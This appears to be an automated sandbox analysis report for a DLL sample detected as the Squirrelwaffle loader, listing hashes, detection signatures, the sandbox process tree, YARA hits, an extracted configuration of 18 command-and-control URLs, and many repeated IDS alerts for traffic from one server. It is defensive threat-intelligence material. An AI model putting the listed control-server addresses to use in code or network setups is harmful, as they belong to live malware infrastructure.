Play interactive tour

Edit tour

Windows Analysis Report test2.test

Overview

General Information

Sample Name:	test2.test (renamed file extension from test to dll)
Analysis ID:	496432
MD5:	267aa0f6d02c470db4951b3d9b80d8f7
SHA1:	a9627760018699a0ce48499fd58b43e3d33c51c7
SHA256:	da031faf0a918be7bf90705dac2ce63cfda65226360202ac1d53a6849592e9b3
Tags:	dllSquirrelWaffletestTR
Infos:
Most interesting Screenshot:

Detection

Squirrelwaffle

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Squirrelwaffle

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for submitted file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Uses code obfuscation techniques (call, push, ret)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 4604 cmdline: loaddll32.exe 'C:\Users\user\Desktop\test2.dll' MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6920 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 4592 cmdline: rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6868 cmdline: rundll32.exe C:\Users\user\Desktop\test2.dll,GetSound MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Squirrelwaffle

{"C2 urls": ["profitshub.in/eJDLM6siEv", "hynot-adventures.com/siRmGWRAqRR", "giversherbalproducts.com/lBawcxb5", "opulent-imports.com/DlOBqKAf", "nitro2point0.com/9SqebpSMu", "streamline-trade.com/7fTwg0V7", "sologicgroup.com/hWo6FObvrdp", "pedroaros.cl/gnYxifRY", "apimar.eu/QFm9qbfjT", "baetrading.com/IfpAV6qS", "ditrpshop.in/oHbAKuM0", "surveillantfire.com/s6ImD3DAJs", "dhananialegalaid.com/VIVB6kFar", "aulaintelimundo.com/n1n3Sh4NSO08", "muwatin.net/IvyhnWs8j", "nkp.hr/a9TmwEDR", "kvrassociates.net/Y3kzp0WtE0", "marianaleyton.com/4ByNgaVdId6"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.869235382.0000000001140000.00000004.00000001.sdmp	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
00000002.00000002.315143728.0000000000F50000.00000004.00000001.sdmp	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
00000003.00000002.870228456.0000000000CA0000.00000004.00000001.sdmp	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.ca0000.0.raw.unpack	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
3.2.rundll32.exe.10000000.2.unpack	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
0.2.loaddll32.exe.10000000.2.unpack	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
2.2.rundll32.exe.f50000.0.raw.unpack	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security
0.2.loaddll32.exe.1140000.0.raw.unpack	JoeSecurity_Squirrelwaffle	Yara detected Squirrelwaffle	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.869235382.0000000001140000.00000004.00000001.sdmp

Malware Configuration Extractor: Squirrelwaffle {"C2 urls": ["profitshub.in/eJDLM6siEv", "hynot-adventures.com/siRmGWRAqRR", "giversherbalproducts.com/lBawcxb5", "opulent-imports.com/DlOBqKAf", "nitro2point0.com/9SqebpSMu", "streamline-trade.com/7fTwg0V7", "sologicgroup.com/hWo6FObvrdp", "pedroaros.cl/gnYxifRY", "apimar.eu/QFm9qbfjT", "baetrading.com/IfpAV6qS", "ditrpshop.in/oHbAKuM0", "surveillantfire.com/s6ImD3DAJs", "dhananialegalaid.com/VIVB6kFar", "aulaintelimundo.com/n1n3Sh4NSO08", "muwatin.net/IvyhnWs8j", "nkp.hr/a9TmwEDR", "kvrassociates.net/Y3kzp0WtE0", "marianaleyton.com/4ByNgaVdId6"]}

Multi AV Scanner detection for submitted file

Show sources

Source: test2.dll	Virustotal: Detection: 19%			Perma Link
Source: test2.dll	ReversingLabs: Detection: 15%

Source: 3.2.rundll32.exe.43a0000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 2.2.rundll32.exe.4b20000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 0.2.loaddll32.exe.31e0000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2

Source: test2.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source:

Binary string: C:\Users\Administrator\source\repos\Dll1\Release\Dll1.pdb source: rundll32.exe

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49755
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49755
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49757
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49757
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49759
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49759
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49760
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49760
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49761
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49761
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49762
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49762
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49763
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49763
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49764
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49764
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49766
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49766
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49767
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49767
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49769
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49769
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49772
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49772
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49771
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49771
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49773
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49773
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49774
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49774
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49775
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49775
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49776
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49776
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49780
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49780
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49779
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49779
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49781
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49781
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49782
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49782
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49783
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49783
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49784
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49784
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49787
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49787
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49788
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49788
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49789
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49789
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49790
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49790
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49791
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49791
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49792
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49792
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49793
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49793
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49794
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49794
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49795
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49795
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49797
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49797
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49796
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49796
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49798
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49798
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49799
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49799
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49800
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49800
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49801
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49801
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49802
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49802
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49803
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49803
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49804
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49804
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49805
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49805
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49806
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49806
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49807
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49807
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49808
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49808
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49809
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49809
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49810
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49810
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49811
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49811
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49812
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49812
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49813
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49813
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49814
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49814
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49815
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49815
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49816
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49816
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49817
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49817
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49818
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49818
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49820
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49820
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49819
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49819
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49821
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49821
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49822
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49822
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49823
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49823
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49824
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49824
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49825
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49825
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49826
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49826
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49828
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49828
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49827
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49827
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49829
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49829
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49830
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49830
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49831
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49831
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49832
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49832
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49833
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49833
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49836
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49836
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49838
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49838
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49840
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49840
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49844
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49844
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49846
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49846
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49849
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49849
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49851
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49851
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49855
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49855
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49861
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49861
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49865
